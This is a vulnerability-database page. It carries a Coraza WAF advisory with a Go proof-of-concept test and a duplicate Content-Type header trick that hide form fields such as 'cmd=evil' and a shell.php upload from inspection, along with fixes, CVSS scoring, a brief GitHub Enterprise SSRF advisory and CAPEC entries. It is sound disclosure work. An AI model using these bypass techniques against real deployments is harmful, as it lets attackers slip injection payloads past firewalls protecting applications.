"details": "### Summary\n\nCoraza fails to inspect URL-encoded form bodies when their valid `Content-Type` contains a media-type parameter, for example:\n\n```http\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n```\n\nAn unauthenticated attacker can use this header to hide the complete form body from custom Coraza rules that inspect `ARGS_POST` or `REQUEST_BODY`, while the bundled Go HTTP middleware forwards the body and the backend parses it normally.\n\nThis is a deterministic request-body inspection bypass. Suggested severity: **Medium**. Current OWASP CRS includes rule `901340`, which forces fallback inspection and mitigates this path; this report does not claim a bypass of an unmodified current CRS ruleset\n\n### Details\n\nThe affected component is request-body processor selection in [`internal/corazawaf/transaction.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L371-L390).\n\n`Transaction.AddRequestHeader` compares the complete lowercased header value using exact equality:\n\n```go\ncase \"content-type\":\n val := strings.ToLower(value)\n if val == \"application/x-www-form-urlencoded\" {\n tx.variables.reqbodyProcessor.Set(\"URLENCODED\")\n } else if strings.HasPrefix(val, \"multipart/form-data\") {\n tx.variables.reqbodyProcessor.Set(\"MULTIPART\")\n }\n```\n\nSource: [`internal/corazawaf/transaction.go`, lines 383-390](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L383-L390).\n\nThe media type of `application/x-www-form-urlencoded; charset=UTF-8` remains `application/x-www-form-urlencoded`; `charset` is a parameter. Because Coraza compares the entire header, the comparison fails and `REQBODY_PROCESSOR` remains empty.\n\n`ProcessRequestBody` treats the empty processor as success:\n\n```go\nrbp = strings.ToLower(rbp)\nif rbp == \"\" {\n tx.WAF.Rules.Eval(types.PhaseRequestBody, tx)\n return tx.interruption, nil\n}\n```\n\nSource: [`internal/corazawaf/transaction.go`, lines 1115-1120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L1115-L1120).\n\nCoraza therefore evaluates phase 2 without parsing the body and without setting `REQBODY_ERROR`. The [URL-encoded processor that normally populates `ARGS_POST`, `REQUEST_BODY`, and `REQUEST_BODY_LENGTH`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/urlencoded.go#L19-L33) is never invoked.\n\nThe [bundled middleware buffers and reconstructs the full request body before invoking the backend](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/http/middleware.go#L69-L97). The backend consequently receives data that was absent from Coraza\u0027s body variables.\n\nThe issue exists in the standard compiled implementation; no special build tag is required. Request-body access defaults to Off in an empty configuration, but Coraza\u0027s recommended configuration enables it with `SecRequestBodyAccess On`.\n\n### PoC\n\nSave this self-contained test as `parameterized_form_bypass_test.go` in the Coraza repository root:\n\n```go\npackage coraza_test\n\nimport (\n \"net/http\"\n \"net/http/httptest\"\n \"strings\"\n \"testing\"\n\n coraza \"github.com/corazawaf/coraza/v3\"\n corazahttp \"github.com/corazawaf/coraza/v3/http\"\n)\n\nfunc TestParameterizedFormInspectionBypass(t *testing.T) {\n cfg := coraza.NewWAFConfig().WithDirectives(`\nSecRuleEngine On\nSecRequestBodyAccess On\nSecRule ARGS_POST:cmd \"@streq evil\" \"id:910001,phase:2,deny,status:403,t:none\"\n`)\n\n waf, err := coraza.NewWAF(cfg)\n if err != nil {\n t.Fatal(err)\n }\n\n backendSaw := \"\"\n handler := corazahttp.WrapHandler(waf, http.HandlerFunc(\n func(w http.ResponseWriter, r *http.Request) {\n if err := r.ParseForm(); err != nil {\n t.Fatal(err)\n }\n backendSaw = r.PostForm.Get(\"cmd\")\n w.WriteHeader(http.StatusNoContent)\n },\n ))\n\n req := httptest.NewRequest(\n http.MethodPost,\n \"http://example.test/\",\n strings.NewReader(\"cmd=evil\"),\n )\n req.Header.Set(\n \"Content-Type\",\n \"application/x-www-form-urlencoded; charset=UTF-8\",\n )\n\n rec := httptest.NewRecorder()\n handler.ServeHTTP(rec, req)\n\n if rec.Code != http.StatusNoContent {\n t.Fatalf(\"expected request to reach backend, status=%d\", rec.Code)\n }\n if backendSaw != \"evil\" {\n t.Fatalf(\"backend did not receive malicious value: %q\", backendSaw)\n }\n}\n```\n\nRun:\n\n```bash\ngo test . -run TestParameterizedFormInspectionBypass -v\n```\n\nObserved:\n\n```text\n=== RUN TestParameterizedFormInspectionBypass\n--- PASS: TestParameterizedFormInspectionBypass (0.00s)\nPASS\n```\n\nThe test passes only when Coraza fails to return its configured 403 response and the backend parses `cmd=evil`.\n\nAs a control, change the header to:\n\n```http\nContent-Type: application/x-www-form-urlencoded\n```\n\nCoraza then selects the URL-encoded processor, exposes `cmd=evil` as `ARGS_POST:cmd`, and returns 403 before the backend runs.\n\n### Impact\n\nThis is a parser differential and request-body inspection bypass affecting applications protected by custom Coraza rules.\n\nAn unauthenticated attacker can add `charset=UTF-8` to an ordinary form request. Coraza then runs phase-2 rules without the submitted parameters and reports no body-processing failure, while the application receives and processes those parameters.\n\nRules relying on these variables are affected on this path:\n\n- `ARGS_POST`\n- `ARGS` for POST-derived values\n- `ARGS_POST_NAMES`\n- `ARGS_NAMES`\n- `REQUEST_BODY`\n- `REQUEST_BODY_LENGTH`\n\nThis defeats custom rules intended to reject injection strings, dangerous commands, or forbidden business values in form fields. The final application impact depends on the backend behavior that the bypassed rule was intended to protect.\n\nAffected operators are those who enable request-body access and rely on automatic URL-encoded parsing without current CRS rule `901340`, `ctl:forceRequestBodyVariable=On`, an explicitly forced processor, or equivalent backend validation.\n\nThe fix is to parse Content-Type according to MIME syntax and compare the normalized media type without parameters, for example with Go\u0027s `mime.ParseMediaType`. If an expected body has no processor, Coraza should expose an explicit processing error instead of silently evaluating phase 2 with empty variables.\n\n## Follow-up (2026-09-30): duplicate Content-Type headers desynchronize processor selection from the parsed body\n\nThe original fix made body-processor selection tolerant of media-type parameters (`charset=UTF-8` etc.) by switching from exact equality to `strings.HasPrefix`. A second, distinct gap was found while reviewing that same selection code: it never accounted for a request carrying *more than one* `Content-Type` header.\n\n### Root cause\n\n`Transaction.AddRequestHeader` is called once per header by the integrator (documented contract). Its `content-type` case runs on every call:\n\n```go\ncase \"content-type\":\n val := strings.ToLower(value)\n if strings.HasPrefix(val, \"application/x-www-form-urlencoded\") {\n tx.variables.reqbodyProcessor.Set(\"URLENCODED\")\n } else if strings.HasPrefix(val, \"multipart/form-data\") {\n tx.variables.reqbodyProcessor.Set(\"MULTIPART\")\n }\n```\n\nA request with two `Content-Type` headers therefore has its body-processor selection silently overwritten by the *last* one, since each call unconditionally calls `Set`. Meanwhile, `ProcessRequestBody` extracts the `mimeType` it passes to whichever processor gets selected from `requestHeaders.Get(\"content-type\")[0]` -- the *first* value (`internal/corazawaf/transaction.go`, a few hundred lines below `AddRequestHeader`) -- and Go\u0027s `net/http` `Header.Get` (what a typical backend uses) also returns only the first value. So selection follows the last header while everything else follows the first, and the two can disagree entirely.\n\n### PoC\n\n```http\nContent-Type: multipart/form-data; boundary=XyZ\nContent-Type: application/x-www-form-urlencoded\n```\n\nwith a genuine multipart body containing `cmd=evil` and a `shell.php` file upload. Against commit `19b86824`:\n\n- `reqbodyProcessor` resolves to `\"URLENCODED\"` (the second, spoofed header wins).\n- The URL-encoded processor runs against the raw multipart body text, parses without error, and produces nothing.\n- `ARGS_POST:cmd`, `FILES`, and `FILES_NAMES` are all empty -- the entire payload is invisible to any rule inspecting those variables.\n- The backend (or any integrator using `Header.Get`, which reads the first value) still sees `Content-Type: multipart/form-data` and parses `cmd=evil` and the uploaded `shell.php` normally.\n\nCurrent OWASP CRS includes rule `920620` (`Content-Type` header sanity check via count/format), which catches this shape; the recommended `coraza.conf-recommended` has no equivalent, so a Coraza deployment with only custom rules (no CRS) is exposed.\n\n### Fix\n\nOnly the first `Content-Type` header may set `reqbodyProcessor`: guard the existing logic with `if tx.variables.reqbodyProcessor.Get() == \"\"`. This makes header-driven processor selection consistent with `ProcessRequestBody`\u0027s own `mimeType` extraction and with standard `Header.Get` semantics, without a new field (nothing else can set `reqbodyProcessor` before headers finish processing; `ctl:requestBodyProcessor` and `ForceRequestBodyVariable` both run afterward, in phase 1 rule evaluation and body processing respectively, and are unaffected).\n\nAs defense in depth, a rule author can also detect the anomaly directly today, with no code change: `SecRule \u0026REQUEST_HEADERS:Content-Type \"@gt 1\" \"deny,...\"` -- left as a suggested addition to `coraza.conf-recommended` rather than bundled into this fix, since it is a policy choice (deny vs. flag) rather than a correctness requirement.\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro shape were supplied by the reporter as an existing written finding; Claude Sonnet 5 independently re-derived the root cause by reading the current source, traced the `mimeType`/`Header.Get` first-value asymmetry, wrote and ran a fresh PoC against commit `19b86824` confirming the full bypass (`ARGS_POST`/`FILES`/`FILES_NAMES` all empty), verified the fix closes it, and drafted this addendum.\n- **Review performed:** reproduced by hand against a clean checkout of commit `19b86824` before and after the fix using the real `Transaction` API (`AddRequestHeader` x2, `WriteRequestBody`, `ProcessRequestBody`); confirmed the regression test fails deterministically against the pre-fix code and passes after it; ran the full test suite, the build-tag matrix (`coraza.no_memoize`, `coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`), and the `testing/coreruleset` CRS regression suite, all green; reviewed by a human maintainer (fzipi) before this addendum was submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-w253-m66g-rx24/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: only the first `Content-Type` header now selects the body processor (the one a typical backend reads with `Header.Get`), and leading whitespace in the media type, including Unicode whitespace that `net/http` accepts, is trimmed the way `mime.ParseMediaType` trims it. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: every form and multipart parser accepts these Content-Type values. The previous vector used Scope Unchanged (5.3).\n\nImpact metrics follow the convention used across Coraza\u0027s WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project\u0027s triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._",
"id": "GHSA-w253-m66g-rx24",
"modified": "2026-10-08T17:51:53Z",
"published": "2026-10-08T17:51:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-w253-m66g-rx24"
},
{
"type": "WEB",
"url": "https://github.com/corazawaf/coraza/commit/3b6241ef895b089c66a59e51068a81cf40986e4d"
},
{
"type": "WEB",
"url": "https://github.com/corazawaf/coraza/commit/a55950ffa161f33a29e14f87d926d7df3b85cc74"
},
{
"type": "WEB",
"url": "https://github.com/corazawaf/coraza/commit/dd100261cf1d2e2b053803a50c9db28dcaaa4b7c"
},
{
"type": "PACKAGE",
"url": "https://github.com/corazawaf/coraza"
},
{
"type": "WEB",
"url": "https://github.com/corazawaf/coraza/releases/tag/v3.8.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Coraza: URL-encoded form Content-Type parameters bypass Coraza body inspection"
}
GHSA-W548-VV26-RFF6
Vulnerability from github – Published: 2026-05-08 00:31 – Updated: 2026-05-11 18:31A server-side request forgery (SSRF) vulnerability was identified in the GitHub Enterprise Server notebook viewer that allowed an attacker to access internal services by exploiting URL parser confusion between the validation layer and the HTTP request library. The hostname validation used a different URL parser than the request library, enabling a crafted URL to pass validation while directing the request to an unintended host. Exploitation required network access to the GitHub Enterprise Server instance. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.16.18, 3.17.15, 3.18.9, 3.19.6, and 3.20.2. This vulnerability was reported via the GitHub Bug Bounty program.
{
"affected": [],
"aliases": [
"CVE-2026-8034"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-07T22:16:37Z",
"severity": "HIGH"
},
"details": "A server-side request forgery (SSRF) vulnerability was identified in the GitHub Enterprise Server notebook viewer that allowed an attacker to access internal services by exploiting URL parser confusion between the validation layer and the HTTP request library. The hostname validation used a different URL parser than the request library, enabling a crafted URL to pass validation while directing the request to an unintended host. Exploitation required network access to the GitHub Enterprise Server instance. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.16.18, 3.17.15, 3.18.9, 3.19.6, and 3.20.2. This vulnerability was reported via the GitHub Bug Bounty program.",
"id": "GHSA-w548-vv26-rff6",
"modified": "2026-05-11T18:31:37Z",
"published": "2026-05-08T00:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8034"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.16/admin/release-notes#3.16.18"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.17/admin/release-notes#3.17.15"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.18/admin/release-notes#3.18.9"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.6"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-105: HTTP Request Splitting
An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to split a single HTTP request into multiple unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).
See CanPrecede relationships for possible consequences.
CAPEC-273: HTTP Response Smuggling
An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).
See CanPrecede relationships for possible consequences.
CAPEC-34: HTTP Response Splitting
An adversary manipulates and injects malicious content, in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., web server) or into an already spoofed HTTP response from an adversary controlled domain/site.
See CanPrecede relationships for possible consequences.